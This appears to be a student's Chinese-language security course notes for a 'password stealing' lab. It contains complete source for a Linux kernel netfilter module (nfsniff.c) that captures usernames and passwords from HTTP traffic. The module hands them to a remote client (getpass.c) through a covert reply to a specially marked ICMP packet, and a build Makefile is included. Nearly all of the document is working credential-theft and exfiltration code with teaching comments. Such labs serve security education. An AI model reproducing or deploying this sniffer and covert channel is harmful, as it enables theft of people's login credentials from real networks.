信息安全课程——窃取密码

sudo apt install openssh-server
sudo apt-get install vim  #安装vim，使用上下左右键

sudo apt-get install gcc-multilib

//getpass.c
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>

#ifndef __USE_BSD
# define __USE_BSD             /* We want the proper headers */
#endif

static unsigned short checksum(int numwords, unsigned short *buff)
{
   unsigned long sum;

   for(sum = 0;numwords > 0;numwords--)
     sum += *buff++;   /* add next word, then increment pointer */

   sum = (sum >> 16) + (sum & 0xFFFF);
   sum += (sum >> 16);

   return ~sum;
}

int main(int argc, char *argv[])
{
    unsigned char dgram[256];          /* Plenty for a PING datagram */
    /* 接收？？的buff */ 
    unsigned char recvbuff[256];
    /* iphead指向ip头部 */ 
    struct ip *iphead = (struct ip *)dgram;
    /* icmphead指向icmp头部 +sizeof(ip)是跳过ip头部 */
    struct icmp *icmphead = (struct icmp *)(dgram + sizeof(struct ip));
    /* 源地址 */
    struct sockaddr_in src;
    /* 目的地址 */
    struct sockaddr_in addr;
    /* ？？ */
    struct in_addr my_addr;
    /* 服务器的地址？？ */
    struct in_addr serv_addr;
    /* 源地址的大小 */
    socklen_t src_addr_size = sizeof(struct sockaddr_in);
    
    int icmp_sock = 0;
    /* 缓冲区 */
    int one = 1;
    /* 缓冲区的头部指针 */
    int *ptr_one = &one;
    /* 若没有传入两个参数则直接退出 */
    if (argc < 3) {
    fprintf(stderr, "Usage:  %s remoteIP myIP\n", argv[0]);
    exit(1);
    }

    /* 获取一个socket，协议簇用的是ipv4，AF_INET和PF_INET是一样的, SOCK_RAW表示我们自己来构建这个数据包，类型为ICMP数据包 */
    if ((icmp_sock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) {
    	fprintf(stderr, "Couldn't open raw socket! %s\n",
        strerror(errno));
    	exit(1);
    }

    /* set the HDR_INCL option on the socket设置sock选项，使用ip协议来解析，IP_HDRINCL表示我们自己来填充数据 */
    if(setsockopt(icmp_sock, IPPROTO_IP, IP_HDRINCL, ptr_one, sizeof(one)) < 0) {
    	close(icmp_sock);
    	fprintf(stderr, "Couldn't set HDRINCL option! %s\n",
        strerror(errno));
    	exit(1);
    }
	/* 将目的地址的协议簇设置为ipv4*/
    addr.sin_family = AF_INET;
    /*？？？*/ 
    addr.sin_addr.s_addr = inet_addr(argv[1]);
	/*???*/ 
    my_addr.s_addr = inet_addr(argv[2]);
	/*将ptr指向的内存块的第一个num字节设置为指定值*/
	/*将dgram初始化为全0*/ 
    memset(dgram, 0x00, 256);
    /*将recvbuff初始化为全0*/ 
    memset(recvbuff, 0x00, 256);

    /* 为ip头部填充数据 */
    iphead->ip_hl  = 5;  //4位 ip首部长度 
    iphead->ip_v   = 4; // 
    iphead->ip_tos = 0; //8位 服务类型 
    iphead->ip_len = 84; // 
    iphead->ip_id  = (unsigned short)rand(); //16位 可以初始化为0 
    iphead->ip_off = 0; //13位 分段偏移 
    iphead->ip_ttl = 128; //8位 生存时间 
    iphead->ip_p   = IPPROTO_ICMP; //8位 icmp协议 
    iphead->ip_sum = 0; //校验和初始化为0 
    iphead->ip_src = my_addr; //？？？ 
    iphead->ip_dst = addr.sin_addr; //  ？？？ 

    /* 为icmp头部填充数据 */
    icmphead->icmp_type = ICMP_ECHO; //类型为icmp回复报文 
    icmphead->icmp_code = 0x5B; //watch_in()中判断的icmp_code一致 
    icmphead->icmp_cksum = checksum(42, (unsigned short *)icmphead);//icmp的校验和需要计算头部和数据部分 8字节的首部 和 34字节的数据不问？？？ 

    /* 将我们构造好的包发出去 */
    fprintf(stdout, "Sending request...\n");
    if (sendto(icmp_sock, dgram, 84, 0, (struct sockaddr *)&addr, sizeof(struct sockaddr)) < 0) {
    	fprintf(stderr, "\nFailed sending request! %s\n",
        strerror(errno));
    	return 0;
    }

    fprintf(stdout, "Waiting for reply...\n");
    if (recvfrom(icmp_sock, recvbuff, 256, 0, (struct sockaddr *)&src, &src_addr_size) < 0) {
    	fprintf(stdout, "Failed getting reply packet! %s\n",
        strerror(errno));
    	close(icmp_sock);
    	exit(1);
    }

    iphead = (struct ip *)recvbuff;
    icmphead = (struct icmp *)(recvbuff + sizeof(struct ip));
    // 将获取到的包的数据部分复制到serv_addr 
    memcpy(&serv_addr, ((char *)icmphead + 8), sizeof (struct in_addr));

    fprintf(stdout, "Stolen for ftp server %s:\n", inet_ntoa(serv_addr));
    fprintf(stdout, "Username:    %s\n", (char *)((char *)icmphead + 12));
    fprintf(stdout, "Password:    %s\n", (char *)((char *)icmphead + 28));

    close(icmp_sock);

    return 0;
}

/************************************************************************************/

//nfsniff.c
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/skbuff.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/icmp.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>

/* 使用ICMP_ECHO数据包，代码字段设置为0x5B*/
#define MAGIC_CODE   0x5B
#define REPLY_SIZE   36

/*"GPL" 是指明了 这是GNU General Public License的任意版本*/
MODULE_LICENSE("GPL");  

/*ICMP有效载荷大小 计算方式是得到整个ip数据包的总长度 减去 ip头部大小 再减去 icmp头部大小*/ 
#define ICMP_PAYLOAD_SIZE  (htons(ip_hdr(sb)->tot_len) \
                   - sizeof(struct iphdr) \
                   - sizeof(struct icmphdr))

/*基于内核的FTP密码嗅探器的简单概念验证。
 *捕获的用户名和密码对将发送到远程主机
 *当主机发送特殊格式的ICMP数据包时。在这里，我们
 *应使用ICMP_ECHO数据包，其代码字段设置为0x5B
 * * AND *数据包已足够
 *标题后的空格，以适应4字节的IP地址和
 *用户名和密码字段是最大值。15个字符
 *每个加一个NULL字节。所以总ICMP有效载荷大小为36个字节。* /
 
/*  
 username和password用来保存拿到的用户名/密码对
一次只能保留一个USER / PASS对，一旦发起请求将被清除。
*/
static char *username = NULL;
static char *password = NULL;

/* 标记我们是否已经有一对用户名/密码对 */
static int  have_pair = 0;   

/* 
 追踪信息。只记录转到的USER和PASS命令相同的IP地址和TCP端口
 目标ip 和 目标端口 
*/
static unsigned int target_ip = 0;
static unsigned short target_port = 0;

/* 用于描述我们的Netfilter挂钩
	nf_hook_ops数据结构在linux/netfilter.中定义
	我们定义两个nf_hook_ops结构体，一个传入的hook 和 一个传出的hook 
 */
struct nf_hook_ops  pre_hook;          /* 传入 */
struct nf_hook_ops  post_hook;         /* 传出 */

/*
查看已知为FTP数据包的sk_buff。查找USER和PASS字段，并确保它们都来自target_xxx字段中指示的一个主机
*/
static void check_http(struct sk_buff *skb)
{
	/* 定义一个tcphdr结构体 *TCP */ 
   struct tcphdr *tcp;
   char *data;
   char *name;
   char *passwd;
   char *_and;
   char *check_connection;
   int len,i;


	/* 从套接字缓冲区skb中获取tcp首部 */ 
   tcp = tcp_hdr(skb);
   /* 系统位数导致强制类型转换错误 64位系统中指针类型8个字节，因此强转为int会出错，可以转成同样为8字节的long型 
   通过tcp首部位置 + tcp长度*4字节 算出数据区域的位置 data */ 
   data = (char *)((unsigned long)tcp + (unsigned long)(tcp->doff * 4));


	/* 判断"Upgrade-In"在data中，判断"uid"在data中，判断"password"在data中 */ 
   if (strstr(data,"Upgrade-In") != NULL && strstr(data, "uid") != NULL && strstr(data, "password") != NULL) { 

		/* 返回在data中首次出现Upgrade-In的地址 */ 
        check_connection = strstr(data,"Upgrade-In");
		
		/*返回check_connection之后首次出现uid的地址*/ 
        name = strstr(check_connection,"uid=");
        /*返回name之后首次出现&的地址*/ 
        _and = strstr(name,"&");
        /*将name往后移动4字节，因为uid=占了四字节，所以移动之后name就是所存储的uid了*/
        name += 4;
        /*这是uid的长度，用&位置减去uid开始的位置*/ 
        len = _and - name;
        /*在内核中给这个username分配内存大小。len+2是因为还需要结束符\0*/ 
        if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL)
          return;
        /*将username开始的len+2字节设置为0x00，其实就是初始化*/ 
        memset(username, 0x00, len + 2);
        
        /*用一个for循环将获取的uid放到username中*/
        for (i = 0; i < len; ++i)
        {
          *(username + i) = name[i];
        }
        *(username + len) = '\0';

		/*这里获取密码和上面获取用户名用的是一样的方法*/ 
		/*返回name之后首次出现password=的地址*/ 
        passwd = strstr(name,"password=");
        /*返回passwd之后首次出现&的地址*/ 
        _and = strstr(passwd,"&");
        /*password=占了9字节，跳过这个字段*/
        passwd += 9;
        /*len为真实密码的长度*/ 
        len = _and - passwd;
        /*将密码放到password中*/ 
        if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL)
          return;
        memset(password, 0x00, len + 2);
        for (i = 0; i < len; ++i)
        {
          *(password + i) = passwd[i];
        }
        *(password + len) = '\0';

   } else {
   	/*如果数据区域data中没有上面三个字段则直接返回*/ 
      return;
   }

   /*获取32位目的ip，从ip首部的daddr字段中获取*/ 
   if (!target_ip)
     target_ip = ip_hdr(skb)->daddr;
   /*获取16位源端口号，从tcp首部的source中获取*/ 
   if (!target_port)
     target_port = tcp->source;

	/*
	username和password都获取到了，将have_pair变为1 
	*/ 
   if (username && password)
     have_pair++;              
     
   /*
   获取到一个用户名/密码对，have_pair就为1了 ，并将获取到的用户米和密码输出 
   */ 
   if (have_pair)
     printk("Have password pair!  U: %s   P: %s\n", username, password);
}

/* 函数称为POST_ROUTING（最后）钩子。它会检查FTP流量然后搜索该流量的USER和PASS命令 */
static unsigned int watch_out(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
   struct sk_buff *sb = skb;
   struct tcphdr *tcp;
   
   /* 首先确保这是一个TCP数据包 */
   if (ip_hdr(sb)->protocol != IPPROTO_TCP)
     return NF_ACCEPT;             /* Nope, not TCP */

   /*ip的首部长度*4字节就是跳过ip首部 到达icmp首部的位置*/ 
   tcp = (struct tcphdr *)((sb->data) + (ip_hdr(sb)->ihl * 4));

   /* 现在检查它是否是一个FTP包 */
   if (tcp->dest != htons(80))
     return NF_ACCEPT;             /* Nope, not FTP */

   /* 如果还未获取到用户名密码对，则调用check_HTTP（）去获取 */
   if (!have_pair)
     check_http(sb);

   /* 保留该数据包 */
   return NF_ACCEPT;
}

/*监视“Magic”数据包的传入ICMP流量的过程。
 *收到后，我们调整skb结构发送回复
 *回到请求主机并告诉Netfilter我们偷了包。*/
static unsigned int watch_in(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
	/*让传入的缓冲skb存到sb中*/ 
   struct sk_buff *sb = skb;
   /*定义一个icmp首部指针*/ 
   struct icmphdr *icmp;
   /**/ 
   char *cp_data;/* 我们将数据复制到回复中 */
   /**/              
   unsigned int   taddr;           /* Temporary IP holder */

   /* 我判断是否已经获取到用户名/密码对了 */
   if (!have_pair)
     return NF_ACCEPT;

   /* 判断这是不是一个ICMP包 */
   if (ip_hdr(sb)->protocol != IPPROTO_ICMP)
     return NF_ACCEPT;

   /* ip的首部长度*4字节就是跳过ip首部 到达icmp首部的位置 */ 
   icmp = (struct icmphdr *)(sb->data + ip_hdr(sb)->ihl * 4);

   /* 判断这是不是一个MAGIC包 0x58，icmp类型是不是ICMP_ECHO（8或者0）,icmp有效载荷是不是大于等于36*/
   if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO
     || ICMP_PAYLOAD_SIZE < REPLY_SIZE) {
      return NF_ACCEPT;
   }

   /*好的，匹配我们的“魔法”检查，现在我们不知所措
    * sk_buff插入IP地址和用户名/密码对，
    *交换IP源和目标地址以及以太网地址*/
    
    /*将ip首部中的源地址和目的地址互换？？为什么？？*/
    /*32位源IP地址暂时存在taddr中*/ 
   taddr = ip_hdr(sb)->saddr; 
   ip_hdr(sb)->saddr = ip_hdr(sb)->daddr;
   ip_hdr(sb)->daddr = taddr;

   /*PACKET_OUTGOING用于发送数据包从本地主机环回到数据包套接字  ？？不太懂*/ 
   sb->pkt_type = PACKET_OUTGOING;

   /*struct net_device * dev;*/ 
   switch (sb->dev->type) {
   	//512 
    case ARPHRD_PPP:               /* Ntcho iddling needs doing */
      break;
    // 772 环回设备  
    case ARPHRD_LOOPBACK:
    // 1 以太网10Mbps 
    case ARPHRD_ETHER:
    {
    	/*#define ETH_ALEN 6  定义了以太网接口的MAC地址的长度为6个字节*/ 
       unsigned char t_hwaddr[ETH_ALEN];

       /* 移动数据指针指向链接层头部*/
       sb->data = (unsigned char *)eth_hdr(sb);
       /*跳过mac地址*/ 
       sb->len += ETH_HLEN; //sizeof(sb->mac.ethernet);
       
       /*交换mac源地址和mac目的地址*/ 
       /*将目的地址放到t_HWADDR*/ 
       memcpy(t_hwaddr, (eth_hdr(sb)->h_dest), ETH_ALEN);
       /*将源地址放到原目的地址的地方*/ 
       memcpy((eth_hdr(sb)->h_dest), (eth_hdr(sb)->h_source),
          ETH_ALEN);
       memcpy((eth_hdr(sb)->h_source), t_hwaddr, ETH_ALEN);
       break;
    }
   };

   /* 现在将IP地址，然后用户名，然后密码复制到数据包*/
   /*cp_data指向数据部分，这里是跳过icmp首部*/ 
   cp_data = (char *)((char *)icmp + sizeof(struct icmphdr));
   /*将目标的ip地址放到数据区域*/ 
   memcpy(cp_data, &target_ip, 4);
   
   /*将用户名和密码放到cp_data中*/ 
   if (username)
     /*跳过上面用掉的4字节*/ 
     memcpy(cp_data + 4, username, 16);
   if (password)
     /*跳过上面用掉的20字节*/ 
     memcpy(cp_data + 20, password, 16);

   /* dev_queue_xmit这个网络设备接口层函数发送给driver
   https://blog.csdn.net/wdscq1234/article/details/51926808
   （我没仔细看） 
    * */
   dev_queue_xmit(sb);

   /* 现在释放保存的用户名和密码并重置have_pair */
   kfree(username);
   kfree(password);
   username = password = NULL;
   have_pair = 0;

   target_port = target_ip = 0;

	/*忘掉该数据包*/ 
   return NF_STOLEN;
}

/*
内核模块中的两个函数 init_module() ：表示起始 和 cleanup_module() ：表示结束 
*/ 
int init_module()
{
	/*hook函数指针指向watc_in*/ 
   pre_hook.hook     = watch_in;
   /*协议簇为ipv4*/  
   pre_hook.pf       = PF_INET;
   /*优先级最高*/
   pre_hook.priority = NF_IP_PRI_FIRST;
   /*hook的类型为 在完整性校验之后，选路确定之前*/ 
   pre_hook.hooknum  = NF_INET_PRE_ROUTING;

   /*hook函数指针指向watc_out*/ 
   post_hook.hook     = watch_out;
   /*协议簇为ipv4*/  
   post_hook.pf       = PF_INET;
   /*优先级最高*/
   post_hook.priority = NF_IP_PRI_FIRST;
   /*hook的类型为 在完数据包离开本地主机“上线”之前*/ 
   post_hook.hooknum  = NF_INET_POST_ROUTING;

   /*将pre_hook和post_hook注册，注册实际上就是在一个nf_hook_ops链表中再插入一个nf_hook_ops结构*/ 
   nf_register_net_hook(&init_net ,&pre_hook);
   nf_register_net_hook(&init_net ,&post_hook);

	printk(KERN_INFO "Hello world 1.\n");
   return 0;
}

void cleanup_module()
{
	/*将pre_hook和post_hook取消注册，取消注册实际上就是在一个nf_hook_ops链表中删除一个nf_hook_ops结构*/ 
   nf_unregister_net_hook(&init_net ,&post_hook);
   nf_unregister_net_hook(&init_net ,&pre_hook);

	/*释放之前分配的内核空间*/ 
   if (password)
     kfree(password);
   if (username)
     kfree(username);
    
	printk(KERN_INFO "Goodbye world 1.\n");
}

/************************************************************************************/

//Makefile:
obj-m += nfsniff.o
all:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean